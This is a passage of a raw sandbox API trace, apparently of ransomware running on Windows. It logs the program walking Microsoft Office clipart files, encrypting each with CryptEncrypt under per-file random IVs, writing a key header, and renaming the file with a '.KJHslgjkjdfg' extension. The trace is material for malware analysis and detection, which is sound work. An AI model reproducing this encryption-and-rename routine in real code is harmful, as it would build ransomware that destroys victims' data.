hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.119] GetProcessHeap () returned 0x2ef0000 [0203.119] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.120] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.kjhslgjkjdfg")) returned 1 [0203.121] CloseHandle (hObject=0x130) returned 1 [0203.121] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1 [0203.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.122] GetProcessHeap () returned 0x2ef0000 [0203.122] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.122] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.123] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0203.126] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.126] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.126] GetProcessHeap () returned 0x2ef0000 [0203.126] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.126] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.126] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.126] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.126] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.126] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.126] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.126] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.127] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.127] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.127] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x773a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x773a, lpOverlapped=0x0) returned 1 [0203.128] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7740, dwBufLen=0x7740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7740) returned 1 [0203.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.128] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7740, lpOverlapped=0x0) returned 1 [0203.129] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.129] SetEndOfFile (hFile=0x130) returned 1 [0203.132] GetProcessHeap () returned 0x2ef0000 [0203.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.132] GetProcessHeap () returned 0x2ef0000 [0203.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.kjhslgjkjdfg")) returned 1 [0203.133] CloseHandle (hObject=0x130) returned 1 [0203.133] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1 [0203.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.134] GetProcessHeap () returned 0x2ef0000 [0203.134] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.134] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.134] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.137] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.137] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.137] GetProcessHeap () returned 0x2ef0000 [0203.137] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.137] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.137] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.137] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.137] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.137] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.137] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.137] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.137] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.137] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.138] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8b8e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8b8e, lpOverlapped=0x0) returned 1 [0203.139] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8b90, dwBufLen=0x8b90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8b90) returned 1 [0203.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.139] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8b90, lpOverlapped=0x0) returned 1 [0203.140] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.140] SetEndOfFile (hFile=0x130) returned 1 [0203.143] GetProcessHeap () returned 0x2ef0000 [0203.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.143] GetProcessHeap () returned 0x2ef0000 [0203.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.kjhslgjkjdfg")) returned 1 [0203.144] CloseHandle (hObject=0x130) returned 1 [0203.144] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1 [0203.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.145] GetProcessHeap () returned 0x2ef0000 [0203.145] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.145] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.145] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.148] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.148] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.148] GetProcessHeap () returned 0x2ef0000 [0203.148] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.148] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.148] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.148] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.148] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.148] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.148] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.148] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.148] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.148] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.149] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e74, lpOverlapped=0x0) returned 1 [0203.150] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e80) returned 1 [0203.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.150] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e80, lpOverlapped=0x0) returned 1 [0203.150] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.150] SetEndOfFile (hFile=0x130) returned 1 [0203.153] GetProcessHeap () returned 0x2ef0000 [0203.153] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.153] GetProcessHeap () returned 0x2ef0000 [0203.153] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.kjhslgjkjdfg")) returned 1 [0203.155] CloseHandle (hObject=0x130) returned 1 [0203.155] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1 [0203.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.156] GetProcessHeap () returned 0x2ef0000 [0203.156] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.156] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.157] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0203.159] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.159] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.159] GetProcessHeap () returned 0x2ef0000 [0203.159] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.159] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.159] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.159] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.159] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.159] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.160] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.160] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.160] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.160] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.160] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2182, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2182, lpOverlapped=0x0) returned 1 [0203.161] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2190, dwBufLen=0x2190 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2190) returned 1 [0203.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.161] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2190, lpOverlapped=0x0) returned 1 [0203.161] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.161] SetEndOfFile (hFile=0x130) returned 1 [0203.164] GetProcessHeap () returned 0x2ef0000 [0203.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.164] GetProcessHeap () returned 0x2ef0000 [0203.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.kjhslgjkjdfg")) returned 1 [0203.171] CloseHandle (hObject=0x130) returned 1 [0203.171] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 